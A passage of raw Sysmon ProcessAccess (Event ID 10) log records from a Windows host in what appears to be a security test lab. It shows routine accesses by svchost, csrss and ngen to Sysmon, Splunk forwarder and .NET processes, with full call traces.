12:01:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6868,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:37.385\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:37.385","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6869,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:37.385\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:37.385","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6870,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:37.385\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:37.385","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6871,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:37.385\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:37.385","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6872,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:37.385\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:37.385","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6873,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:37.385\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:37.385","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6874,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:37.385\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42A1-5F2D-0000-001026270B00}\r\nTargetProcessId: 4112\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:37.385","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42A1-5F2D-0000-001026270B00}","TargetProcessId":"4112","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6875,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:37.385\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42A1-5F2D-0000-00102D270B00}\r\nTargetProcessId: 4424\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:37.385","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42A1-5F2D-0000-00102D270B00}","TargetProcessId":"4424","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6876,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:37.385\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42A1-5F2D-0000-00102D270B00}\r\nTargetProcessId: 4424\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 